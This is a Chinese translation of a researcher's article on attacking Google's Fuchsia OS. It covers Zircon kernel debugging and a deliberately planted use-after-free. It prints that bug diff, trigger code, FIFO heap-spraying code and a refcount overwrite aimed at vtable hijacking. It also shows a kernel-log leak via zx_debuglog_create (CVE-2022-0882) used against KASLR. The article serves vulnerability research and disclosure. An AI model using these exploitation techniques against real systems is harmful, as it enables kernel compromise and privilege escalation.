聚合国内IT技术精华文章,分享IT技术精华,帮助IT从业人士成长

主打安全的谷歌 Fuchsia OS 能否扛住黑客攻击?

2022-07-01 17:20 浏览: 494848 次 我要评论(0 条) 字号:

作者 | FuchsAlexander Popov
译者 | Sambodhi
策划 | 罗燕珊
Fuchsia 是谷歌开发的一种通用的开源操作系统。它基于用 C++ 编写的 Zircon 微内核,目前正在积极开发中。开发人员表示,Fuchsia 的设计重点是安全、可升级性和性能。作为一个 Linux 内核黑客,我决定看一看 Fuchsia OS,并从攻击者的角度评估它。这篇文章描述了我的实验。
什么是 Fuchsia OS?

Fuchsia 是一个通用的开源操作系统。谷歌在 2016 年左右开始了这个操作系统的开发。2020 年 12 月,这个项目对来自公众的贡献者开放。2021 年 5 月,谷歌正式发布了在 Nest Hub 设备上运行的 Fuchsia。该操作系统支持 arm64 和 x86-64。Fuchsia 正在积极开发中,看起来很有活力,所以我决定在它身上做一些安全实验。

让我们来看看 Fuchsia 设计的基本理念。这个操作系统被开发用于与各种设备相关联的生态系统:物联网、智能手机、PC。这就是为什么 Fuchsia 的开发者特别关注安全性和可更新性。因此,Fuchsia 操作系统采用了非同一般的安全架构。

  • 首先,Fuchsia 没有用户的概念。相反,它是基于能力的。内核资源作为需要相应能力的对象公开给应用程序。其主要思想是,如果一个应用程序没有显式授予的能力,它就不能与一个对象进行交互。此外,在 Fuchsia 上运行的软件应该获得最少的能力来执行其工作。因此,我认为,Fuchsia 中的本地权限升级(Local privilege escalation,LPE)的概念将不同于 GNU/Linux 系统中的概念,在 GNU/Linux 系统中,攻击者以非特权用户的身份执行代码,并利用一些漏洞来获得 root 权限。

  • 第二个有趣的方面:Fuchsia 是基于微内核的。这极大地应县了该操作系统的安全性。大量的功能都从 Zircon 微内核转移到了用户空间。这使得内核的攻击面更小。在 Fuchsia 文档中,可以看到 Zircon 仅实现了少数服务,与单片式操作系统内核不同。不过,Zircon 并不追求最小化:它拥有超过 170 个系统调用,远远多于典型的微内核。


  • 我不得不提到的下一个安全解决方案是沙箱。在 Fuchsia 中,应用和系统服务是被称作组件的独立的软件单元。这些组件在隔离的沙箱中运行。它们之间的所有进程间通信(inter-process communication,IPC)都必须明确声明。Fuchsia 甚至没有全局文件系统。相反,每个组件都有自己的本地命名空间来运行。这种设计方案增加了用户空间的隔离性和 Fuchsia 应用的安全性。我认为这也使得 Zircon 内核对攻击者很有诱惑力,因为 Zircon 为所有 Fuchsia 组件提供了系统调用。

  • 最后,Fuchsia 在软件发布和升级方面有着非同一般的计划。Fuchsia 的组件是由 URL 识别的,可以按需解决下载执行。这个设计方案的主要目标是使 Fuchsia 中的软件包永远是最新的,就像网页一样。


这些安全特性使 Fuchsia OS 成为我感兴趣的新研究目标。
第一次尝试

Fuchsia 文档提供了一个很好的教程,描述如何开始使用这个操作系统。该教程给出了一个脚本的链接,该脚本可以检查你的 GNU/Linux 系统是否符合从源代码构建 Fuchsia 的要求:

$ ./ffx-linux-x64 platform preflight

它说不支持非 Debian 发行版。然而,我还没有经历过针对 Fedora 34 的问题。该教程还提供了下载 Fuchsia 源代码和设置环境变量的说明。

以下命令建立了 Fuchsia 的 workstation product 与 x86_64 的开发者工具:

$ fx clean$ fx set workstation.x64 --with-base //bundles:tools$ fx build

构建完 Fuchsia 系统后,你可以在 FEMU(Fuchsia 模拟器)中启动它。FEMU 基于安卓模拟器(AEMU),它是 QEMU 的一个分支。

$ fx vdl start -N
创建一个新的组件

让我们为 Fuchsia 创建一个“hello world”的应用程序。正如我前面提到的,Fuchsia 的应用程序和程序被称为组件。这个命令为一个新的组件创建一个模板。

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

我希望这个组件将“hello”打印到 Fuchsia 日志:

#include <iostream>
int main(int argc, const char** argv){ std::cout << "Hello from a13x, Fuchsia!n"; return 0;}

组件清单 src/a13x-pwns-fuchsia/meta/a13x_pwns_fuchsia.cml 应该有这一部分,以允许 stdout 记录:

program: {    // Use the built-in ELF runner.    runner: "elf",
// The binary to run for this component. binary: "bin/a13x-pwns-fuchsia",
// Enable stdout logging forward_stderr_to: "log", forward_stdout_to: "log",},

这些命令用一个新的组件来构建 Fuchsia:

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia$ fx build

当带有新组件的 Fuchsia 构建完成后,我们就可以测试它了:

  1. 在主机系统的第一个终端中使用 fx vdl start -N 命令,启动带有 Fuchsia 的 FEMU。

  2. 在主机系统的第二个终端使用命令 fx serve 来启动 Fuchsia 软件包发布服务器。

  3. 在主机系统的第三个终端使用命令 fx log 来显示 Fuchsia 的日志。

  4. 在主机系统的第四个终端上使用 ffx 工具启动新的组件。

 $ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm-recreate

在这张截图中,我们看到 Fuchsia 通过 URL 解析了这个组件,下载并启动了它。然后,该组件将 Hello from a13x, Fuchsia! 打印到第三个终端的 Fuchsia 日志中。

Zircon 内核开发工作流程

现在我们来关注一下 Zircon 内核的开发工作流程。C++ 的 Zircon 源代码是 Fuchsia 源代码的一部分。它位于 zircon/kernel 子目录下,在 Fuchsia 操作系统建立时进行编译。Zircon 的开发和调试需要使用 fx qemu -N 命令在 QEMU 中运行它。然而,当我尝试时,我得到了一个错误:

$ fx qemu -NBuilding multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blkninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default'ninja: no work to do.ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

我发现这个故障发生在具有非英语控制台语言的机器上。这个错误已经存在了很长时间了。我不知道为什么这个补丁还没有被合并。有了这个补丁,Fuchsia OS 可以在 QEMU/KVM 虚拟机上成功启动。

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.shindex 705341e482c...5d1c7658d34 100644--- a/tools/devshell/lib/fvm.sh+++ b/tools/devshell/lib/fvm.sh@@ -35,3 +35,3 @@ function fx-fvm-extend-image {   fi- stat_output=$(stat "${stat_flags[@]}" "${fvmimg}" )+ stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}" )   if [[ "$stat_output" =~ Size: ([0-9]+)]; then


在 QEMU/KVM 中运行 Fuchsia 可以用 GDB 调试 Zircon 的微内核。让我们来看看这个动作。

1.用这个命令启动 Fuchsia:

$ fx qemu -N -s 1 --no-kvm -- -s
  • 参数 -s 1 指定了这个虚拟机的虚拟 CPU 的数量。拥有一个虚拟 CPU 可以使调试体验更好。

  • 如果你在调试过程中需要单步执行,--no-kvm 参数很有用。否则 KVM 的中断会破坏工作流程,Fuchsia 会在每个 stepi 或 nexti GDB 命令后进入中断处理程序。然而,在没有 KVM 虚拟化支持的情况下运行 Fuchsia VM 会慢很多。

  • 命令末尾的 -s 参数在 TCP 1234 端口上打开了一个 gdbserver。

2.允许执行 Zircon GDB 脚本,该脚本提供以下内容:

  • GDB 的 KASLR 重定位,这是正确设置断点所需要的。

  • 带有 zircon 前缀的特殊 GDB 命令。

  • Zircon 对象的漂亮打印机(目前还没有)。

  • 增强了 Zircon 内核故障的解除器。

$ cat ~/.gdbinitadd-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py

3.启动 GDB 客户端并附加到 Fuchsia VM 的 GDB 服务器上:

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/$ gdb kernel_x64/zircon.elf(gdb) target extended-remote :1234

这个过程是为了使用 GDB 调试 Zircon。

然而,在我的机器上,Zircon 的 GDB 脚本在每次启动时都完全挂起,我不得不对这个脚本进行调试。我发现它调用了带有 -readnow 参数的 add-symbol-file GDB 命令,这需要立即读取整个符号文件。由于某些原因,GDB 无法在合理的时间内从 110MB 的 Zircon 二进制文件中读出符号。在我的机器上去掉这个选项就解决了这个问题,并允许正常的 Zircon 调试。

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.pyindex d027ce4af6d..8faf73ba19b 100644--- a/zircon/kernel/scripts/zircon.elf-gdb.py+++ b/zircon/kernel/scripts/zircon.elf-gdb.py@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):     # Reload the ELF with all sections set-    gdb.execute("add-symbol-file "%s" 0x%x -readnow %s" +    gdb.execute("add-symbol-file "%s" 0x%x %s"                  % (sym_path, text_addr, " ".join(args)), to_string=True)
更加接近 Fuchsia 的
安全性:启用 KASAN

KASAN(Kernel Address SANitizer)是一个运行时内存调试器,旨在发现越界访问和内存释放后使用的错误。Fuchsia 支持用 KASAN 编译 Zircon 微内核。在这个实验中,我建立了 Fuchsia 的 core product:

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan$ fx build

为了测试 KASAN,我在使用 TimerDispatcher 对象的 Fuchsia 代码中添加了一个合成 bug:

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.ccindex a83b750ad4a..14535e23ca9 100644--- a/zircon/kernel/object/timer_dispatcher.cc+++ b/zircon/kernel/object/timer_dispatcher.cc@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {
+ bool uaf = false;+ {@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {
+ if (deadline_ % 100000 == 31337) {+ uaf = true;+ }+ if (cancel_pending_) {@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() { // ourselves.- if (Release())+ if (Release() || uaf) delete this;

正如你所看到的,如果定时器的最后期限值以 31337 结束,那么无论 refcount 值如何,TimerDispatcher 对象都被释放了。我想从用户空间组件打这个内核 bug,看看 KASAN 错误报告。这就是我添加到我的 a13x-pwns-fuchsia 组件中的代码。

  zx_status_t status;  zx_handle_t timer;  zx_time_t deadline;
status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer); if (status != ZX_OK) { printf("[-] creating timer failedn"); return 1; }
printf("[+] timer is createdn");
deadline = zx_deadline_after(ZX_MSEC(500)); deadline = deadline - deadline % 100000 + 31337; status = zx_timer_set(timer, deadline, 0); if (status != ZX_OK) { printf("[-] setting timer failedn"); return 1; }
printf("[+] timer is set with deadline %ldn", deadline); fflush(stdout); zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired
zx_timer_cancel(timer); // hit UAF

这里调用了 zx_timer_create() 系统调用。它初始化了一个新定时器对象的定时器句柄。然后这个程序将定时器的最后期限设置为以 31337 结尾的魔法值。在这个程序等待 zx_nanosleep() 的时候,Zircon 删除了被启动的定时器。下面的 zx_timer_cancel() 系统调用对于被删除的定时器会引发使用后的免费。

因此,执行这个用户空间组件会使 Zircon 内核崩溃,并产生一个可爱的 KASAN 报告。很好,KASAN 管用!引述相关部分:

ZIRCON KERNEL PANIC
UPTIME: 17826ms, CPU: 2...
KASAN detected a write error: ptr=}, size=0x4, caller: }Shadow memory state around the buggy address 0xffffffe00d9a63d5:0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd ^^ 0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):...
Haltedentering panic shell loop!

Zircon 还将崩溃的回溯打印成一些模糊的内核地址链。为了使它能被人类阅读,我不得不用一个特殊的 Fuchsia 工具来处理它:

$ cat crash.txt | fx symbolize > crash_sym.txt

以下是 fx symbolize 后的回溯:

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf   #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d   #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610   #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e   #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e   #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d   #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a   #4.3  0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a   #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a   #4.1  0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a   #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a   #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02   #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02   #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02   #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1   #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1   #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1   #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8

你可以看到 wrapper_timer_cancel() 系统调用处理程序调用了 sys_timer_cancel(),其中 GetDispatcherWithRightsImpl() 与一个引用计数器一起工作,并执行了内存释放后使用。这个内存访问错误在 asan_check() 中被检测到,它调用了 panic()。

这个回溯帮助我理解了 sys_timer_cancel() 函数的 C++ 代码实际上是如何工作的。

// zx_status_t zx_timer_cancelzx_status_t sys_timer_cancel(zx_handle_t handle) {  auto up = ProcessDispatcher::GetCurrent();
fbl::RefPtr<TimerDispatcher> timer; zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer); if (status != ZX_OK) return status;
return timer->Cancel();}
当我让 Fuchsia OS 与 KASAN 一起工作时,我感到自信并为安全研究做好了准备。
Fuchsia 的 Syzkaller(已损坏)

在研究了 Fuchsia 内核开发工作流程的基础知识后,我决定开始安全研究。对于 Fuchsia 内核安全的实验,我需要一个 Zircon bug 来开发一个 PoC 漏洞。实现这一目标的最简单方法是模糊处理。

有一个伟大的覆盖率引导的内核模糊器,叫做 syzkaller。我很喜欢这个项目和它的团队,我喜欢用它来对 Linux 内核进行模糊处理。syzkaller 的文档说它支持对 Fuchsia 的模糊处理,所以我首先尝试了一下。

然而,由于 Fuchsia 上不寻常的软件交付,我遇到了麻烦,这是我前面描述过的。一个用于模糊测试的 Fuchsia 镜像必须包含 syz-executor 这个组件。syz-executor 是 syzkaller 项目的一部分,负责在虚拟机上执行模糊测试的输入。但我没能用这个组件构建一个 Fuchsia 镜像。

首先,根据 syzkaller 文档,我尝试用外部的 syzkaller 源代码来构建 Fuchsia:

$ fx --dir "out/x64" set core.x64   --with-base "//bundles:tools"   --with-base "//src/testing/fuzzing/syzkaller"   --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"'ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.   assert(defined(invoker.sources), "sources is required for go_library")   ^-----sources is required for go_librarySee //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.   go_library("syzkaller-go") {   ^---------------------------See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.     ":run-sysgen($host_toolchain)",     ^-----------------------------ERROR: error running gn gen: exit status 1

看起来构建系统并没有正确处理 syzkaller_dir 参数。我试图删除这个断言并调试 Fuchsia 的构建系统,但我失败了。

然后我在 Fuchsia 源代码中发现了 third_party/syzkaller/ 子目录。它包含了 syzkaller 源代码的一个本地拷贝,用于在没有 --args=syzkaller_dir 的情况下构建。但这是一个相当老的副本:最后一次提交是在 2020 年 6 月 2 日。用这个老版本的 syzkaller 构建当前的 Fuchsia 也失败了,因为 Fuchsia 的系统调用、头文件位置等有很多变化。

我又试了一次,更新了 third_party/syzkaller/ 子目录下的 syzkaller。但是构建没有成功,因为 Fuchsia BUILD.gn 文件对于 syzkaller 来说需要根据 syzkaller 的变化进行大幅度地重写。

简而言之,也许 Fuchsia 与 syzkaller 的集成在 2020 年曾经工作过,但目前它已经损坏。我查看了 Fuchsia 的版本控制系统,找到了致力于这个功能的 Fuchsia 开发者。我给他们写了一封邮件,描述了这个 bug 的所有技术细节,但没有得到回复。

在 Fuchsia 构建系统上花费更多的时间,让我感到压力很大。

对研究策略的思考

我反思了我的进一步研究的策略。如果不进行模糊处理,要成功发现操作系统内核中的漏洞需要:

1.对其代码库的良好了解;

2.对其攻击面的深刻认识。

获得 Fuchsia 的这些经验需要我花费大量的时间。我想在我的第一个 Fuchsia 研究上花费大量时间吗?也许不是,因为:

  • 把大量的资源投入到对系统的第一次熟悉中是不合理的;

  • 事实证明,Fuchsia 并不像我预期的那样可以用于生产;所以我决定推迟在 Zircon 中搜索零日漏洞,并尝试为我用于测试 KASAN 的合成漏洞开发一个 PoC 漏洞。最终,这是一个很好的决定,因为它给我带来了快速的结果,并允许我沿途发现其他 Zircon 漏洞。

发现 Zircon 的堆喷射射漏洞原形

所以我专注于利用 TimerDispatcher 的免费使用。我的开发策略很简单:用受控数据覆盖释放的 TimerDispatcher 对象,使 Zircon 的定时器代码工作异常,或者说,将这段代码变成一个奇怪的机器。

首先,为了覆盖 TimerDispatcher,我需要发现一个堆喷射(Heap Spraying)的利用原语,该原语是:

1.可以被攻击者从无特权的用户空间组件中使用;

2.让 Zircon 分配几个新的内核对象,使其中一个对象大概率地被放在被释放对象的位置上;

3.让 Zircon 把攻击者的数据从用户空间复制到这个新的内核对象中。

我从我的 Linux 内核经验中知道,堆喷射通常是利用进程间通信(IPC)构建的。根据第 1 段,基本的 IPC 系统调用通常对无特权的程序可用。根据第 3 段,它们将用户空间的数据复制到内核空间,以便将其传输给接收者。最后,根据第 2 段,一些 IPC 系统调用设置了传输的数据大小,这就给出了对内核分配器行为的控制,允许攻击者覆盖目标释放的对象。

这就是为什么我开始研究负责 IPC 的 Zircon 系统调用。我发现了 Zircon FIFO,它被证明是一个很好的堆喷射原语。当 zx_fifo_create() 系统调用被调用时,Zircon 创建了一对 FifoDispatcher 对象(见 zircon/kernel/object/fifo_dispatcher.cc 中的代码)。它们中的每一个都为 FIFO 数据分配所需的内核内存。

  auto data0 = ktl::unique_ptr<uint8_t[]>(new (&ac) uint8_t[count * elemsize]);  if (!ac.check())    return ZX_ERR_NO_MEMORY;
KernelHandle fifo0(fbl::AdoptRef( new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count), static_cast<uint32_t>(elemsize), ktl::move(data0)))); if (!ac.check()) return ZX_ERR_NO_MEMORY;

通过调试器,我确定释放的 TimerDispatcher 对象的大小是 248 字节。我假设,为了成功地进行堆喷射,我需要创建相同数据大小的 Zircon FIFO。这个想法立即奏效:在 GDB 中,我看到 Zircon 用 FifoDispatcher 的数据覆盖了释放的 TimerDispatcher! 这就是我的 PoC 漏洞中的堆喷射的代码:

 printf("[!] do heap spraying...n");
#define N 10 zx_handle_t out0[N]; zx_handle_t out1[N]; size_t write_result = 0;
for (int i = 0; i < N; i++) { status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]); if (status != ZX_OK) { printf("[-] creating a fifo %d failedn", i); return 1; } }

这里 zx_fifo_create() 系统调用被执行了 10 次。每一次都会创建一对包含 31 个元素的 FIFO。每个元素的大小为 8 字节。所以这段代码创建了 20 个 FifoDispatcher 对象,有 248 字节的数据缓冲区。

而在这里,Zircon FIFO 被填充了堆喷射的有效负载,准备覆盖释放的 TimerDispatcher 对象:

 for (int i = 0; i < N; i++) {    status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);    if (status != ZX_OK || write_result != 31) {      printf("[-] writing to fifo 0-%d failed, error %d, result %zun", i, status, write_result);      return 1;    }    status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);    if (status != ZX_OK || write_result != 31) {      printf("[-] writing to fifo 1-%d failed, error %d, result %zun", i, status, write_result);      return 1;    }  }
printf("[+] heap spraying is finishedn");
好的,我可以更改 TimerDispatcher 对象的内容。但是,要在其中写入什么内容才能发动攻击呢?
C++ 对象剖析

作为一个 Linux 内核的开发者,我已经习惯了用 C 结构来描述内核对象。一个 Linux 内核对象的方法被实现为一个存储在相应 C 结构中的函数指针。这种内存布局是明确而简单的。

但是,Zircon 中 C++ 对象的内存布局在我看来要复杂得多,也晦涩难懂。我试图研究 TimerDispatcher 对象的解剖结构,并在 GDB 中使用 print -pretty on -vtbl on 命令进行展示。输出结果是一大堆乱七八糟的东西,而且我没能把它和这个对象的十六进制转储关联起来。然后我试了一下 TimerDispatcher 的 pahole 工具。它显示了类成员的偏移量,但对理解类方法的实现方式没有帮助。类的继承性使整个情况更加复杂。

我决定不把时间浪费在研究 TimerDispatcher 对象的内部结构上,而是尝试盲目实践。我使用 FIFO 堆喷射,用零字节覆盖了整个 TimerDispatcher,Zircon 在 zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57 的断言处崩溃了:

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);
//... if constexpr (EnableAdoptionValidator) { ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1n", rc, static_cast<uint32_t>(rc)); }

没有问题。我发现这个 refcount 被存储在从 TimerDispatcher 对象开始的 8 字节偏移处。为了绕过这个检查,我在堆喷射出的有效负载中设置了相应的字节:

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];
*refcount_ptr = 0x1337C0DE;

在 Fuchsia 上运行这个 PoC 导致了下一次 Zircon 崩溃,从攻击者的角度来看,这非常有趣。内核在 HandleTable::GetDispatcherWithRights中遇到了一个空指针解除引用。用 GDB 踏查指令,帮助我发现这个 C++ 的黑魔法导致了 Zircon 的崩溃。

// Dispatcher -> FooDispatchertemplate <typename T>fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))             : nullptr;}

这里 Zircon 调用了 TimerDispatcher 类的 get_type() 公共方法。这个方法是用 C++ 的 vtable 来引用的。TimerDispatcher vtable 的指针被存储在每个 TimerDispatcher 对象的开头。这对于控制流劫持是很好的。我想说的是,它比针对 Linux 内核的类似攻击更简单,在那里你需要用函数指针搜索适当的内核结构。

Zircon KASLR 绕过

控制流劫持需要了解内核符号地址,这取决于 KASLR 的偏移。KASLR 是指内核地址空间布局随机化。Zircon 源代码中多次提到 KASLR。一个例子来自 zircon/kernel/params.gni:

 # Virtual address where the kernel is mapped statically.  This is the  # base of addresses that appear in the kernel symbol table.  At runtime  # KASLR relocation processing adjusts addresses in memory from this base  # to the actual runtime virtual address.  if (current_cpu == "arm64") {    kernel_base = "0xffffffff00000000"  } else if (current_cpu == "x64") {    kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.  }

对于 Fuchsia,我决定实现一个类似于我对 Linux 内核的 KASLR 绕过的技巧。我对 CVE-2021-26708 的 PoC 攻击使用了 Linux 内核日志来读取内核指针,以启动攻击。Fuchsia 内核日志也包含安全敏感的信息。所以我尝试从我的非特权用户空间组件读取 Zircon 日志。我添加了 use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ] 到组件清单中,用这段代码打开了日志:

  zx::channel local, remote;  zx_status_t status = zx::channel::create(0, &local, &remote);  if (status != ZX_OK) {    fprintf(stderr, "Failed to create channel: %dn", status);    return -1;  }
const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name; status = fdio_service_connect(kReadOnlyLogPath, remote.release()); if (status != ZX_OK) { fprintf(stderr, "Failed to connect to ReadOnlyLog: %dn", status); return -1; }
zx_handle_t h; status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h); if (status != ZX_OK) { fprintf(stderr, "ReadOnlyLogGet failed: %dn", status); return -1; }

首先,这段代码创建了一个 Fuchsia 通道,将用于 Fuchsia 日志协议。然后,它为 ReadOnlyLog 调用 fdio_service_connect(),并将通道传输附加到它上面。这些函数来自 fdio 库,它为各种 Fuchsia 资源提供了一个统一的接口:文件、套接字、服务和其他。执行这段代码会返回错误:

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with  target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found  at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`  declaration was found in the parent[ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log...[ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

那是正确的行为。我的组件是无特权的,而且在父类中没有匹配的 fuchsia.boot.ReadOnlyLog 的 offer 声明。因为这个 Fuchsia 组件不具备所需的能力,所以不被授予访问权。没有办法。

所以我放弃了从内核日志中泄露信息的想法。我开始浏览 Fuchsia 的源代码,等待另一种启示。突然间,我发现了另一种使用 zx_debuglog_create() 系统调用来访问 Fuchsia 内核日志的方法:

zx_status_t zx_debuglog_create(zx_handle_t resource,                               uint32_t options,                               zx_handle_t* out);

Fuchsia 文档中指出,resource 参数必须具有资源类 ZX_RSRC_KIND_ROOT。我的 Fuchsia 组件并不拥有这种资源。总之,我试着用 zx_debuglog_create() 和……

zx_handle_t root_resource; // global var initialized by 0
int main(int argc, const char** argv){ zx_status_t status; zx_handle_t debuglog;
status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog); if (status != ZX_OK) { printf("[-] can't create debuglog, no wayn"); return 1; }

这段代码成功了!我设法在没有所需功能和 ZX_RSRC_KIND_ROOT 资源的情况下读取了 Zircon 内核日志。但为什么呢?我很惊讶,发现 Zircon 代码负责处理这个系统调用。以下是我的发现:

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {  LTRACEF("options 0x%xn", options);
// TODO(fxbug.dev/32044) Require a non-INVALID handle. if (rsrc != ZX_HANDLE_INVALID) { // TODO(fxbug.dev/30918): finer grained validation zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT); if (status != ZX_OK) return status; }

这的确是一次搞笑的安全检查!在 Fuchsia 的错误报告系统中,32044 和 30918 问题的 access denied。Fuchsia bug 报告系统对 32044 和 30918 的问题给予了拒绝访问。所以我提交了一个安全漏洞,描述 sys_debuglog_create() 有一个不当的能力检查,导致内核信息泄露。顺便说一下,这个问题追踪器要求提供纯文本的信息,但默认情况下,它将报告渲染成 Markdown(这很奇怪,点击 Markdown 按钮可以禁用这种行为)。

Fuchsia 的维护者批准了这个问题,并申请了 CVE-2022-0882。

Zircon KASLR:没什么可绕过的

由于阅读 Fuchsia 的内核日志不再是一个问题,我从其中提取了一些内核指针来绕过 Zircon KASLR。我第二次感到惊奇,又笑了起来。

尽管有 KASLR,但每次 Fuchsia 启动时的内核指针都是一样的!请看相同的日志输出的例子。
